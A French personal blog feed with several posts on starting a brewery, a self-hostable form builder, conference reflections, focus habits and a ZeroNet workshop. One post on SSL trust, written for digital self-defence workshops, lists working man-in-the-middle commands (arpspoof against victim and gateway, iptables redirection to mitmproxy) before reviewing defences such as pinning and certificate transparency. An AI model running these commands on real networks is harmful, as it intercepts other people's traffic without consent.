<p>Les journées sont donc organisées autour de la brasserie: beaucoup plus de planification que ce que j'imaginais au départ. Peut-être que c'est aussi du au fait que nous soyons tous les deux des ex-informaticiens un peu perfectionnistes sur les bords. On se voit très souvent pour avancer sur des sujets de fond tout comme sur du pratico-pratique. Pour vous donner un ordre d'idée des questionnements: Quelle taille d'entreprise ? Quelles valeurs communes ? Quelles bières ? Quelle image donner ? Quelle place donner au confort ? Comment éviter la compétitivité ? Comment réussir à impacter les producteurs (houblon / malt) de manière positive ? Quels salaires se donner ?</p>
<p>Un peu de production quand même (pour les amis) mais on se garde la grosse partie pour le lancement.</p>
<h2>Apprentissage</h2>
<p>Je profite de ces quelques mois pour apprendre: autour de la fabrication et de la dégustation de bière bien sûr (encore un milieu en constante évolution !), mais pas que. J'ai maintenant quelques bases de gestion d'entreprise, en comptabilité, en biologie et en chimie. J'ai bien dit quelques <em>bases</em>, mais qu'est-ce que c'est agréable !</p>
<p>C'est assez agréable de se remettre dans une posture d'apprenant, et d'avoir le temps pour cet apprentissage.</p>
<h2>Questionner la posture de «Chef d'entreprise» et son rapport au temps</h2>
<p>Décider de créer sa boîte, c'est aussi se poser la question de comment organiser son temps: combien de temps travailler ? Quel temps donner aux loisirs ?</p>
<p>Je trouve rassurant de voir ces interrogations abordées avant-même le démarrage de l'entreprise. La plupart des personnes qui nous suivent et nous guident partent du postulat qu'il faudra bosser énormement, là ou nous essayons de trouver un modèle qui soit viable dans le temps, notre souhait est de bosser à 80% (4 jours par semaine).</p>
<p>Certes, il faut travailler pour que ça tourne, mais il faut aussi s'accorder des temps de respiration pour être d'autant plus efficace quand on bosse. C'est d'autant plus intéressant de prévoir ces aspects lors de la phase de <em>design</em> de l'activité: on organise le temps autrement ! Ceux qui me lisent de temps à autre savent que c'est une constante de mes réflexions, on verra si ça fonctionne dans les faits.</p>
<h2>Les projets collectifs</h2>
<p>Un autre point important est la place que le <em>collectif</em> prends dans cette nouvelle expérience. Au départ, quand j'imaginais le projet sur le court-terme, je mettais la composante collective au second plan dans l'immédiat (au delà des intéractions avec Fred, mon associé). L'occasion de travailler à la construction d'un espace collectif s'est présentée, et on y travaille actuellement.</p>
<p>C'est à la fois riche (en partage de points de vue, en entre-aide) et à la fois difficile (beaucoup d'heures de réunions, il faut apprendre à communiquer de manière efficace, il faut parfois faire face à des conflits). Dans l'ensemble, je ne regrette pas ce choix même si il est important de ne pas perdre de vue les objectifs de la brasserie dans l'histoire.</p>
<p>Et puis la collaboration ne s'arrête pas qu'au collectif d'activité: le milieu brassicole est en mutation, et les valeurs de partage font bel et bien partie du lot de changements. Les rencontre avec les brasseurs du coin de Rennes le montrent bien: l'esprit est plus à l'entraide qu'à la concurrence, au vu de la demande qui est toujours croissante. Tant mieux, on a autre chose à faire qu'à se tirer dans les pâtes ;)</p>
<h2>Besoin de concret</h2>
<p>Après cette phase assez énorme de réfléxion, de questionnement, de tricotage, de détricotage, de retricotage, j'ai bien envie de passer à l'action; et ça tombe bien, c'est ce qui est à l'horizon. L'idée est d'ouvrir la brasserie à la fin de cette année pour commencer la commercialisation en Janvier 2018. Ça fait un peu peur de voir l'échéance arriver, mais c'est aussi excitant que vertigineux…</p>
<p>Faire ensemble. Imaginer les choses en petit un peu partout. Collaborer plutôt que se tirer dans les pattes. Renverser la vapeur. Trouver des alliés. Faire levier. Inscrire ses projets dans le temps. C'est peut-être un peu ça, grandir ?</p>Comment est-ce que vous générez vos formulaires ?2016-05-31T00:00:00+02:002016-05-31T00:00:00+02:00tag:blog.notmyidea.org,2016-05-31:/comment-est-ce-que-vous-generez-vos-formulaires.html<p>TL; DR: Je viens à peine de <em>releaser</em> la première version d'un service de génération de formulaires.
Allez jeter un coup d'œil sur <a href="https://www.fourmilieres.net">https://www.fourmilieres.net</a></p>
<p><em>En février 2012, je parlais ici <a href="https://blog.notmyidea.org/carto-forms.html">d'un service de génération de formulaires</a>.
Depuis, pas mal d'eau à coulé sous les ponts, on est …</em></p><p>TL; DR: Je viens à peine de <em>releaser</em> la première version d'un service de génération de formulaires.
Allez jeter un coup d'œil sur <a href="https://www.fourmilieres.net">https://www.fourmilieres.net</a></p>
<p><em>En février 2012, je parlais ici <a href="https://blog.notmyidea.org/carto-forms.html">d'un service de génération de formulaires</a>.
Depuis, pas mal d'eau à coulé sous les ponts, on est passé par pas mal d'étapes pour
finalement arriver à une première version de ce service de génération de
formulaires (à la </em>google forms<em>).</em></p>
<p>En tant qu'organisateurs d'évènements (petits et gros), je me retrouve souvent
dans une situation ou je dois créer des formulaires pour recueillir des
informations. Actuellement, la meilleure solution disponible est <em>Google Forms</em>,
mais celle ci à plusieurs problèmes, à commencer par le fait que le code n'est
pas libre et que les données sont stockées chez Google.</p>
<p>La plupart du temps, le besoin est assez simple: je veux spécifier quelques
questions, et donner un lien à mes amis pour qu'ils puissent y répondre.
Je reviens ensuite plus tard pour voir la liste des réponses apportées.</p>
<p><img alt="Capture de l'interface de création du formulaire" src="{filename}/static/formbuilder-build.png"></p>
<h2>Fonctionnalités</h2>
<p>Il existe pas mal de solutions techniques qui essayent de répondre à la même
problématique, mais la plupart d'entre elles sont assez souvent compliquées,
nécessitent de se créer un compte, et/ou ne vous laisse pas la main libre sur
les données générées, voire le code est assez difficile à faire évoluer ou à
déployer.</p>
<p>Je voulais donc quelque chose de simple à utiliser <em>et</em> pour les créateurs de
formulaires <em>et</em> pour les utilisateurs finaux. Pas de chichis, juste quelques
vues, et des URLs à sauvegarder une fois l'opération terminée.</p>
<p><img alt="Capture de l'écran avec les URLs générées" src="{filename}/static/formbuilder-created.png">
<img alt="Capture d'écran d'un exemple de formulaire" src="{filename}/static/formbuilder-form.png"></p>
<h3>Pas de compte</h3>
<p>Vous n'avez pas besoin d'avoir un compte sur le site pour commencer à l'utiliser.
Vous créez simplement un nouveau formulaire puis envoyez le lien à vos amis pour
qu'eux puissent à leur tour le remplir.</p>
<p><img alt="Capture de la page d'accueil, ou aucun compte n'est requis" src="{filename}/static/formbuilder-welcome.png"></p>
<h3>Gardez la main sur vos données</h3>
<p>Une fois que vous avez récupéré les réponses à vos questions, vous pouvez
récupérer les données sur votre machines dans un fichier <code>.csv</code>.</p>
<p><img alt="Capture de la page de resultats, il est possible de télécharger en CSV." src="{filename}/static/formbuilder-results.png"></p>
<h3>API</h3>
<p>L'ensemble des données sont en fait stockées dans <a href="https://kinto.readthedocs.org">Kinto</a>
qui est interrogeable très facilement en HTTP. Ce qui fait qu'il est très facile de
réutiliser les formulaires que vous avez construits (ou leurs réponses) depuis
d'autres outils.</p>
<h3>Auto-hébergeable</h3>
<p>Un des objectifs de ce projet est de vous redonner la main sur vos données.
Bien sur, vous pouvez utiliser l'instance qui est mise à votre disposition sur
<a href="https://www.fourmilieres.net">wwww.fourmilieres.net</a>, mais vous pouvez
également l'héberger vous même très
simplement, et vous êtes d'ailleurs fortement encouragés à le faire ! Notre
objectif n'est pas de stocker l'ensemble des formulaires du monde, mais de
(re)donner le contrôle aux utilisateurs !</p>
<h2>On commence petit…</h2>
<p>Cette <em>release</em> n'est (bien sur) pas parfaite, et il reste encore pas mal de
travail sur cet outil, mais je pense qu'il s'agit d'une base de travail
intéressante pour un futur où Google n'a pas la main sur toutes nos données.</p>
<p>La liste des champs supportés est pour l'instant assez faible (Texte court,
Texte long, Oui/Non, choix dans une liste) mais elle à vocation à s'étendre, en
fonction des besoins de chacun.</p>
<p>J'ai d'ailleurs créé <a href="https://www.fourmilieres.net/#/form/cfd878264cec4ed2">un formulaire pour que vous puissiez me faire part de vos
retours</a>, n'hésitez pas !</p>
<h2>Et, euh, comment ça marche ?</h2>
<p>Le <em>formbuilder</em>, comme j'aime l'appeler se compose en fin de compte de deux
parties distinctes:</p>
<ul>
<li><a href="https://kinto.readthedocs.org">Kinto</a>, un service qui stocke
des données coté serveur et qui les expose via des <strong>APIs HTTP</strong></li>
<li><a href="https://github.com/kinto/formbuilder">Le formbuilder</a>, une application
JavaScript qui ne tourne que coté client (dans votre navigateur) qui permet
de construire les formulaires et d'envoyer les données sur les <em>APIs</em> coté
serveur.</li>
</ul>
<p>Au niveau de la <em>stack</em> technique, le <strong>formbuilder</strong> est codé en ReactJS. Un
des points techniques intéressants du projet est qu'il génère en fin de compte du
<a href="http://jsonschema.net/">JSON Schema</a>, un format de validation de données <em>JSON</em>.</p>
<p>Donc, reprenons! Vous arrivez sur la page d'accueil puis cliquez sur
"Create a new form", puis vous vous retrouvez face à une interface ou vous pouvez
ajouter des champs de formulaire. Une fois ce travail effectué, vous appuyez sur
"Create the form".</p>
<ul>
<li>Le JSON Schema est alors envoyé au serveur Kinto, qui l'utilisera pour valider
les données qu'il recevra par la suite.</li>
<li>Ce JSON Schema sera aussi utilisé lors de l'affichage du formulaire aux
personnes qui le remplissent.</li>
<li>Un jeton d'accès est généré et ajouté à l'URL, il s'agit de l'identifiant du
formulaire.</li>
<li>Un second jeton d'accès administrateur et généré, il vous faut le garder de
coté pour avoir accès aux réponses.</li>
</ul>
<p>Bref, en espérant que ça vous serve ! Un petit pas dans la direction des données
rendues à leurs utilisateurs !</p>Cloisonnement des activités ?2016-05-25T00:00:00+02:002016-05-25T00:00:00+02:00tag:blog.notmyidea.org,2016-05-25:/cloisonnement-des-activites.html<p>Je vous écris depuis un train, en rentrant de Bordeaux où j'ai passé quelques
jours à l'occasion de <a href="http://sudweb.fr/">SudWeb</a>. Si vous ne connaissez pas
cette conférence, il s'agit d'un moment avec des gens chouettes qui se posent
des questions sur leur metier, comment le vivre et comment continuer à en …</p><p>Je vous écris depuis un train, en rentrant de Bordeaux où j'ai passé quelques
jours à l'occasion de <a href="http://sudweb.fr/">SudWeb</a>. Si vous ne connaissez pas
cette conférence, il s'agit d'un moment avec des gens chouettes qui se posent
des questions sur leur metier, comment le vivre et comment continuer à en faire
un plaisir. Oh, et des fois on parle un peu de technique aussi.</p>
<h1>Alors, brasserie ou code ?</h1>
<p>Ces quelques jours ont été fort inspirants. Alors que je suis en train de
changer de métier (vers celui de brasseur) c'était un moyen de me rendre compte
que bien que je ne souhaite plus faire du Web mon métier <em>la, tout de suite,
maintenant</em>, je reste un passionné par la chose.</p>
<p>En partant de Rennes, je ne savais pas trop quoi penser de cette situation.
Prendre un week-end pour échanger avec les gens sur quelque chose dont je
m'éloigne ? C'est pas une perte de temps ?</p>
<p>Si je passe du temps à écrire des bouts de code, des logiciels, à reflechir
à comment solutionner certains problemes, ce n'est pas parce que je suis payé
pour le faire, mais bel et bien parce que je me sens bien lorsque je le fais,
parce que j'y trouve un équilibre et une utilité.</p>
<p>Alors que je ne trouvais plus cet équilibre dans mon travail, j'ai choisi d'en
changer, mais il n'empèche que je continue à avoir des rèves d'un
monde meilleur, dans lequel l'informatique a sa place. Juste à voir les
discussions (ux, sécurité informatique, décentralisation, architecture
logicielle) que j'ai pu avoir ce weekend, il n'y a pas l'ombre d'un doute !</p>
<p>Jusqu'ici je me suis dit que je devais choisir. J'ai pensé naivement
que je ne pouvais pas être <em>et</em> un brasseur <em>et</em> un developpeur, mais la
réalité c'est que c'est exactement ce que je suis: les deux.</p>
<p>Je ne suis pas pour autant dupe sur le temps necessaire à lancer une activité
brassicole, il va falloir fournir de l'énergie et avancer sur le projet, mais
il n'empèche que même si je décide de faire de la bière mon metier, mes
passions pour le reste sont bien vivantes.</p>
<p>Bref, merci sudweb pour m'avoir accompagné dans ces reflexions, à l'année
prochaine, je ramène des futs ?</p>Avez vous confiance en SSL?2016-03-25T00:00:00+01:002016-03-25T00:00:00+01:00tag:blog.notmyidea.org,2016-03-25:/avez-vous-confiance-en-ssl.html<p>Dans le cadre <a href="http://autodefense-numerique.readthedocs.org/en/latest/">des ateliers d'autodéfense numérique</a>,
j'ai passé un peu de temps à creuser sur l'utilisation de SSL puisque
contrairement à ce que la plupart des personnes ont encore tendance à croire,
le petit cadenas (qui prouve qu'une connexion SSL est en cours) n'est
<strong>absolument</strong> pas suffisant.</p>
<p>Allez hop …</p><p>Dans le cadre <a href="http://autodefense-numerique.readthedocs.org/en/latest/">des ateliers d'autodéfense numérique</a>,
j'ai passé un peu de temps à creuser sur l'utilisation de SSL puisque
contrairement à ce que la plupart des personnes ont encore tendance à croire,
le petit cadenas (qui prouve qu'une connexion SSL est en cours) n'est
<strong>absolument</strong> pas suffisant.</p>
<p>Allez hop, c'est parti pour:</p>
<ul>
<li>un tour d'horizon du fonctionnement de SSl</li>
<li>quelques moyens contourner cette "protection" en faisant une attaque en pratique</li>
<li>un tour des solutions existantes actuellement et de pourquoi je ne les trouve
pas vraiment satisfaisantes.</li>
</ul>
<h2>Comment fonctionne SSL?</h2>
<p>Pour expliquer les problèmes de SSL, j'ai d'abord besoin d'expliquer comment
tout ça fonctionne.</p>
<p>SSL repose sur l'utilisation de certificats, qui sont générés par des autorités
de certification (<em>Certificate Authority</em> que je nomme <em>CA</em> dans la suite de
l'article).</p>
<p>Les certificats SSL permettent deux choses:</p>
<ul>
<li>De garantir que les communications entre les navigateurs (vous) et les sites
Web ne sont connues que du détenteur du certificat du site et de vous même.</li>
<li>De garantir que le site sur lequel vous vous connectez est bien celui que
vous imaginez.</li>
</ul>
<p>Le navigateur, lors d'une visite d'un site, va télécharger le certificat
associé puis vérifier que le certificat en question a bien été généré par un
des <em>CA</em> en qui il a confiance.</p>
<p>Imaginons maintenant qu'une des <em>CA</em> essaye de savoir ce qui s'échange entre
mon navigateur et le site de ma banque (protégé par SSL). Comment cela se
passerait il ?</p>
<p>N'importe quel <em>CA</em> peut donc générer des certificats pour n'importe quel site,
et le navigateur vérifierait, lui, que le certificat a bien été généré par une
<em>CA</em>.</p>
<p>Tout cela ne poserait pas de soucis si les <em>CA</em> étaient gérés de manière fiable,
mais il s'agit d'un travail compliqué, et certains <em>CA</em> ont par le passé montré
des faiblesses.</p>
<p>Par exemple, <a href="https://en.wikipedia.org/wiki/DigiNotar">DigiNotar</a> (un <em>CA</em> des Pays-Bas)
a été compromise et les attaquant.e.s ont pu générer des certificats SSL
frauduleux, ce qui leur a permis d'attaquer des sites tels que Facebook ou GMail.</p>
<p>Vous pouvez retrouver une liste des risques et menaces autour des <em>CA</em> <a href="http://wiki.cacert.org/Risk/History">sur le
wiki de CACert</a>.</p>
<h2>Attaque de l'homme du milieu avec SSL</h2>
<p>A force de dire que c'était très facile à faire, j'ai eu envie d'essayer
d'espionner des connections protégées par SSL, et effectivement c'est
carrément flippant tellement c'est simple.</p>
<p>En l'espace de quelques minutes, il est possible de faire une <em>attaque de
l'homme du milieu</em> en utilisant par exemple un outil nommé <a href="http://docs.mitmproxy.org/en/stable">mitm-proxy</a>.</p>
<p>Pour déchiffrer l'ensemble du trafic SSL, j'ai simplement eu à lancer quelques
commandes et avoir un <em>CA</em> dans lequel le navigateur de la victime a confiance.
Je l'ai ajouté dans le navigateur cible pour simuler que je l'avais déjà
(c'est le cas si un des 1200 CA se fait pirater, ce qui me semble une surface
d'attaque assez large).</p>
<p>Je les colle ici si ça vous intéresse:</p>
<div class="highlight"><pre><span></span>$ sudo aptitude install mitmproxy
$ mitm-proxy -T --host
</pre></div>
<p>Il faut faire croire à votre victime que vous êtes la passerelle vers
l'extérieur et à la passerelle que vous êtes la victime:</p>
<div class="highlight"><pre><span></span>arpspoof -i wlan0 -t victime gateway
arpspoof -i wlan0 -t gateway victime
</pre></div>
<p>Puis dire à notre fausse passerelle de rediriger le trafic des ports 80 et 443
vers notre proxy:</p>
<div class="highlight"><pre><span></span>sudo sysctl -w net.ipv4.ip_forward<span class="o">=</span><span class="m">1</span>
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport <span class="m">443</span> -j REDIRECT --to-port <span class="m">4443</span>
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport <span class="m">80</span> -j REDIRECT --to-port <span class="m">4443</span>
</pre></div>
<p>Et paf, <strong>on voit tout ce qui passe entre la machine et le serveur SSL</strong>. On peut
d'ailleurs même imaginer faire tourner ces quelques commandes sur un
raspberry pi, pour aller encore plus vite…</p>
<h3>Key-pinning dans les navigateurs</h3>
<p>Actuellement, n'importe quel <em>CA</em> peut générer des certificats pour
n'importe quel site, et c'est en grande partie ce qui pose souci. Une des
manières de faire évoluer la situation est d'épingler les certificats de
certains sites directement dans les navigateurs.</p>
<p>Cette approche a le mérite de fonctionner très bien <a href="https://dxr.mozilla.org/mozilla-central/source/security/manager/ssl/StaticHPKPins.h?from=StaticHPKPins.h">pour un petit nombre de
sites critiques (Google, Facebook, etc)</a>.</p>
<h3>HTTP Public Key Pinning (HPKP)</h3>
<p><a href="https://developer.mozilla.org/en/docs/Web/Security/Public_Key_Pinning"><em>HTTP Public Key Pinning</em></a>
est également une solution de <em>pinning</em> qui permet d'établir une confiance lors
de la première connexion avec le site. C'est ce qu'on appelle du <em>Trust on First
Use</em> ou <em>TOFU</em>.</p>
<p>Le navigateur va alors mettre ces informations dans un cache et vérifiera que
les certificats correspondent bien lors des prochaines visites.</p>
<p><em>HPKP</em> est disponible dans Firefox depuis Janvier 2015 et dans Chrome
depuis Octobre 2015.</p>
<h3>Certificate transparency: des journaux auditables</h3>
<p>Une autre approche est celle proposée par <em>certificate transparency</em>:</p>
<blockquote>
<p>Certificate Transparency aims to remedy these certificate-based threats by
making the issuance and existence of SSL certificates open to scrutiny by
domain owners, CAs, and domain users.</p>
<p>-- <a href="https://www.certificate-transparency.org/what-is-ct">Certificate Transparency</a></p>
</blockquote>
<p>Autrement dit, avec ce système les <em>CA</em> doivent rendre public le fait qu'ils
aient signé de nouveaux certificats intermédiaires. La signature est ajoutée à
un journal sur lequel il n'est possible que d'écrire.</p>
<p>Les navigateurs vont alors vérifier que les certificats utilisés sont bien des
certificats qui ont été ajoutés au journal.</p>
<p>Ici, toute l'intelligence est dans la vérification de ces journaux, qui
permettent donc de valider/invalider des certificats racines ou intermédiaires.</p>
<p>Il me semble donc qu'il serait possible d'ajouter un certificat frauduleux le
temps d'une attaque (et celui ci serait détecté et supprimé ensuite).</p>
<p><em>Certificate-Transparency</em> n'est donc pas une solution contre une écoute
globale mise en place par les gouvernements par exemple.</p>
<p>Si vous lisez bien l'anglais, je vous invite à aller lire
<a href="http://security.stackexchange.com/a/52838">cette description du problème et de la solution</a>
que je trouve très bien écrite.</p>
<h3>DANE + DNSSEC</h3>
<blockquote>
<p>The DANE working group has developed a framework for securely
retrieving keying information from the DNS [RFC6698]. This
framework allows secure storing and looking up server public key
information in the DNS. This provides a binding between a domain
name providing a particular service and the key that can be used
to establish encrypted connection to that service.</p>
<p>-- <a href="https://datatracker.ietf.org/wg/dane/charter/">Dane WG</a></p>
</blockquote>
<p>Une autre solution est appelée "DANE" et repose par dessus le protocole
<em>DNSSEC</em>.</p>
<p>Je connais assez mal <em>DNSSEC</em> donc j'ai passé un peu de temps à lire des
documents. L'impression finale que ça me laisse est que le problème est
exactement le même que pour SSL: un certain nombre de personnes détiennent les
clés et toute la sécurité repose sur cette confiance. Or il est possible que
ces clés soient détenues par des personnes non dignes de confiance.</p>
<blockquote>
<p>Secure DNS (DNSSEC) uses cryptographic digital signatures signed with a
trusted public key certificate to determine the authenticity of data.
-- https://en.wikipedia.org/wiki/DNS_spoofing</p>
</blockquote>
<p>Et aussi:</p>
<blockquote>
<p>It is widely believed[1] that securing the DNS is critically important for
securing the Internet as a whole, but deployment of DNSSEC specifically has
been hampered (As of 22 January 2010) by several difficulties:</p>
<ul>
<li>The need to design a backward-compatible standard that can scale to the
size of the Internet</li>
<li>Prevention of "zone enumeration" (see below) where desired</li>
<li>Deployment of DNSSEC implementations across a wide variety of DNS servers
and resolvers (clients)</li>
<li>Disagreement among implementers over who should own the top-level domain
root keys Overcoming the perceived complexity of DNSSEC and DNSSEC
deployment</li>
</ul>
</blockquote>
<h2>Solutions basées sur la blockchain</h2>
<p>Une dernière piste semble être l'utilisation de la <em>blockchain</em> pour distribuer
des clés par site.</p>
<p>La solution <em>DNSChain</em> me paraissait tout d'abord un bon point de départ mais
la lecture de <a href="https://www.indolering.com/okturtles-dnschain-unblock-us">quelques critiques</a>
et interventions du développeur du projet m'ont fait changer d'avis.</p>
<p>Reste encore la piste de <em>Namecoin Control</em> que je n'ai pas encore creusée.
Peut-être pour un prochain billet. Toute piste de réflexion est bien sur la
bienvenue sur ces sujets!</p>Focusing on what matters2016-03-17T00:00:00+01:002016-03-17T00:00:00+01:00tag:blog.notmyidea.org,2016-03-17:/focusing-on-what-matters.html<p>I do have a problem with information.</p>
<p>You know. I <strong>have</strong> to check my emails, irc, twitter, my feed reader
etc. I need to.</p>
<p>And this thing makes me feel uncomfortable at the end of the day,
because I feel that I missed something. That I missed some good time …</p><p>I do have a problem with information.</p>
<p>You know. I <strong>have</strong> to check my emails, irc, twitter, my feed reader
etc. I need to.</p>
<p>And this thing makes me feel uncomfortable at the end of the day,
because I feel that I missed something. That I missed some good time,
away from news and agitation.</p>
<p>Working remotely is sometimes hard. Hard because you need to at the same
time be in the discussions channels and work on the interesting
projects. A real myth.</p>
<p>In practice, I'm really bad at multi-tasking. I tried a few times the
<em>Pomodoro</em> technique, which forces me to focus on a task for 25mn, but
this split of my day into slices of 25mn breaks my natural flow.</p>
<p>So, what do I need? I tried to change my tools, it helped a bit. Still,
I'm not focused like I would like to be.</p>
<p>Maybe that's just me who needs some more persuasion over myself, but the
best way I found to work is to unplug the cable. Literally. At work, at
some point I was using a RJ45 cable to connect to the Internet. When I
wanted to work on something, I could just unplug this cable.</p>
<p>And that's amazing how you find yourself in the process to "check"
something on the web. Mails, irc… well, you got the idea. You're
litterally, without even noticing, switching to your browser an opening
a new tab…</p>
<p>Of course, that Web isn't filled only with lolcats and twitter messages
(even if I would <strong>love</strong> to see a pie chart with the repartition of
lolcats VS the rest of the web's content), so sometimes you need some
precious bit of information that's there. Fair enough. plug the cable,
do what you <strong>need</strong> to do, and unplug. Alexis, unplug!</p>
<p>It also helps to have some fair bit of documentation available directly
on my machine (I used to have the python docs, I should get it back!)</p>
<p>I'm feeling adventurous, so I'll try something new starting tomorrow,
and I'll report back in here my findings. Here's the challenge:</p>
<ul>
<li><strong>Check emails only once a day</strong>. Do <strong>not</strong> do it in the morning,
before working, to keep my mind clear. I would say at 2pm (after
lunch). (This doesn't mean I will not send mails tho)</li>
<li>Stay away from the Internet during the morning. I'll not connect if
I don't need to.</li>
</ul>
<p>Let's see how it goes :)</p>Retours sur un atelier ZeroNet2016-03-17T00:00:00+01:002016-03-17T00:00:00+01:00tag:blog.notmyidea.org,2016-03-17:/retours-sur-un-atelier-zeronet.html<p>Mardi dernier se tenait <a href="http://biblio.insa-rennes.fr/crypto">une <em>cryptoparty</em></a> dans les locaux de l'INSA de Rennes.</p>
<p>L'évènement s'étant rempli au delà de toutes les espérances, on m'a proposé de
venir y tenir un atelier, que j'ai proposé sur <a href="https://zeronet.io">ZeroNet</a>, un
petit projet fort sympathique qui pourrait devenir une nouvelle manière de
distribuer le …</p><p>Mardi dernier se tenait <a href="http://biblio.insa-rennes.fr/crypto">une <em>cryptoparty</em></a> dans les locaux de l'INSA de Rennes.</p>
<p>L'évènement s'étant rempli au delà de toutes les espérances, on m'a proposé de
venir y tenir un atelier, que j'ai proposé sur <a href="https://zeronet.io">ZeroNet</a>, un
petit projet fort sympathique qui pourrait devenir une nouvelle manière de
distribuer le Web, permettant notamment d'éviter la censure.</p>
<p>Avant toute autre chose, merci énormément à l'équipe de la bibliothèque de
l'INSA pour l'organisation de cet évènement qui à une réelle portée politique.</p>
<h2>Un peu d'histoire</h2>
<p>Il me semble que Tim Bernes Lee (l'inventeur du Web) avait prévu le Web comme un
protocole décentralisé. Chacun hébergerait ses données et les servirait aux
autres, qui pourraient alors y accéder.</p>
<p>Avec ce fonctionnement, impossible alors d'accéder à des sites si leur auteur
n'est pas en ligne. Qu'à cela ne tienne, on s'est mis à avoir des machines qui
restent connectées au réseau 24 heures par jour. Et puis une machine ne
suffisant plus, on a eu des fermes de machines dans des <em>data centers</em> etc afin
de supporter les milliers d'utilisateurs des sites.</p>
<h2>Un Web décentralisé</h2>
<p>ZeroNet permet (entre autres) de répondre à ce problème en proposant une manière alternative de <strong>distribuer le Web</strong>, en pair à pair. Lors d'une visite d'un site:</p>
<ol>
<li>Vous contactez un <em>tracker</em> BitTorrent pour connaitre la liste des autres
visiteurs du site (les <em>pairs</em>).</li>
<li>Vous demandez aux <em>pairs</em> de vous donner les fichiers du site.</li>
<li>Vous validez que les fichiers servis sont bien les bons (en vérifiant la
signature attachée).</li>
</ol>
<p>N'importe quel visiteur devient alors un <em>pair</em>, qui sert le site aux autres
visiteurs.</p>
<p>Parmi les nombreux avantages de cette approche, je note particulièrement que:</p>
<ul>
<li>Il est très difficile de censurer un site — Il est sur l'ensemble des machines
des visiteurs.</li>
<li>Les attaques par <em>fingerprinting</em> sont impossibles: le navigateur Web se
connecte à un serveur <em>proxy</em> local.</li>
<li>Vous détenez directement vos données et (par design) ne les donnez pas à des
silos (Facebook, Google, etc.)</li>
</ul>
<p>Si vous êtes interessés par une démonstration rapide, j'ai enregistré une vidéo
de 10 minutes où je parle en anglais avec une voix très grave.</p>
<video controls="" src="http://alexis.notmyidea.org/zeronet.webm" width=800></video>
<h2>Atelier</h2>
<p>Pour l'atelier, j'ai choisi de faire une présentation rapide du projet (<a href="{filename}/static/zeronet-presentation-fr.pdf">j'ai
traduit les slides</a> anglais
pour l'occasion — <a href="https://docs.google.com/presentation/d/158C_-V1ueNaaKHMBMBgGOVhunb9xrXzB3hC_g1N53c0/edit?usp=sharing">accès aux sources</a>)
avant d'installer ZeroNet sur les machines et de l'utiliser pour publier un
site.</p>
<h3>Partager sur le réseau local</h3>
<p>Nous avons eu des soucis à cause du réseau (un peu congestionné) sur lequel
les ports utilisés pour la discussion entre <em>pairs</em> étaient fermés. Il est bien
sur possible de faire tourner le tout de manière indépendante du reste du réseau,
mais je n'avais pas prévu le coup.</p>
<p>Voici donc comment faire pour contourner le souci:</p>
<ol>
<li>Installer et lancer un <em>tracker</em> BitTorrent (De manière surprenante,
<a href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=685575">rien n'est packagé pour debian pour l'instant</a>)
J'ai choisi d'installer <a href="http://erdgeist.org/arts/software/opentracker/#build-instructions">OpenTracker</a></li>
<li>Ensuite lancer ZeroNet avec des options spécifiques.</li>
</ol>
<div class="highlight"><pre><span></span>$ python zeronet.py --trackers udp://localhost:6969 --ip_external <span class="m">192</span>.168.43.207
$ python zeronet.py --trackers udp://192.168.43.207:6969 --ip_external <span class="m">192</span>.168.43.172
</pre></div>
<p>Il est nécessaire de spécifier l'adresse IP externe que chaque nœud expose pour
éviter qu'elle n'essaye d'aller la trouver par elle même: nous voulons l'adresse
du réseau local, et non pas l'adresse internet.</p>
<p>La prochaine fois je tenterais de venir avec un HotSpot Wifi et un tracker
BitTorrent dans la poche!</p>
<h2>Questions / Réponses</h2>
<p>Il y avait quelques questions intéressantes auxquelles je n'ai pas toujours su
répondre sur le moment. Après quelques recherches, je rajoute des détails ici.</p>
<h3>Torrent + Tor = brèche de sécu ?</h3>
<p>Il me semblait avoir entendu parler de problèmes de <em>dé-anonymisation</em>
<a href="https://hal.inria.fr/file/index/docid/471556/filename/TorBT.pdf">lors de l'utilisation de BitTorrent par dessus Tor</a>.</p>
<blockquote>
<p>Dans certains cas, certains clients torrents (uTorrent, BitSpirit, etc)
écrivent directement votre adresse IP dans l'information qui est envoyée
au tracker et/ou aux autres pairs.
— https://blog.torproject.org/blog/bittorrent-over-tor-isnt-good-idea</p>
</blockquote>
<p><a href="https://github.com/HelloZeroNet/ZeroNet/issues/274">Ce n'est pas le cas de ZeroNet</a>, ce qui évacue le souci.</p>
<h3>ZeroMail, c'est lent non ?</h3>
<p>Une des applications de démo, <em>ZeroMail</em>, propose un mécanisme qui permet de
s'envoyer des messages chiffrés sur un réseau pair à pair. L'approche choisie
est de chiffrer les messages avec la clé du destinataire et de le mettre dans
un <em>pot commun</em>. Tout le monde essaye de déchiffrer tous les messages, mais ne
peut déchiffrer que les siens.</p>
<p>Cela permet de ne <strong>pas</strong> fuiter de méta-données, <a href="{filename}../crypto/2015.05.pgp-problemes.rst">à l'inverse de PGP</a>.</p>
<p>Je n'ai en fait pas de réponse claire à donner à cette question: l'auteur de
ZeroNet me disait que 10MB (la limite de taille d'un site, par défaut)
correspondait à beaucoup de place pour stocker des messages, et qu'il était
possible de supprimer les anciens messages une fois qu'ils sont lus par exemple.</p>
<p>Une autre solution à laquelle je pensait était de créer un <em>ZeroSite</em> pour
chaque récipient, mais on connait à ce moment là le nombre de messages qu'un
utilisateur peut recevoir.</p>
<p>Je vois plusieurs problèmes avec le design actuel de ZeroMail (il me semble
assez facile d'y faire un déni de service par exemple). A creuser.</p>
<h3>Comment héberger des très gros sites ?</h3>
<p>Par exemple, comment faire pour héberger Wikipedia ?</p>
<p>Il semble que la meilleure manière de faire serait de séparer Wikipedia en
un tas de petites ressources (par catégorie par ex.). Les gros médias pourraient
être considérés optionnels (et donc téléchargés uniquement à la demande)</p>
<h3>Est-ce qu'on à vraiment besoin d'un tracker ?</h3>
<p>Le support d'une DHT <a href="https://github.com/HelloZeroNet/ZeroNet/issues/57">est souhaité</a>,
mais pour l'instant pas encore implémenté. L'utilisation de la DHT BitTorrent
n'est pas une option puisque <a href="https://github.com/HelloZeroNet/ZeroNet/issues/57">Tor ne supporte pas UDP</a>.</p>L'horizon2016-03-02T00:00:00+01:002016-03-02T00:00:00+01:00tag:blog.notmyidea.org,2016-03-02:/lhorizon.html<p>headline : Temps de changer d'horizon. Mon départ de Mozilla et le début d'une nouvelle histoire.
image : images/horizon.jpg</p>
<blockquote>
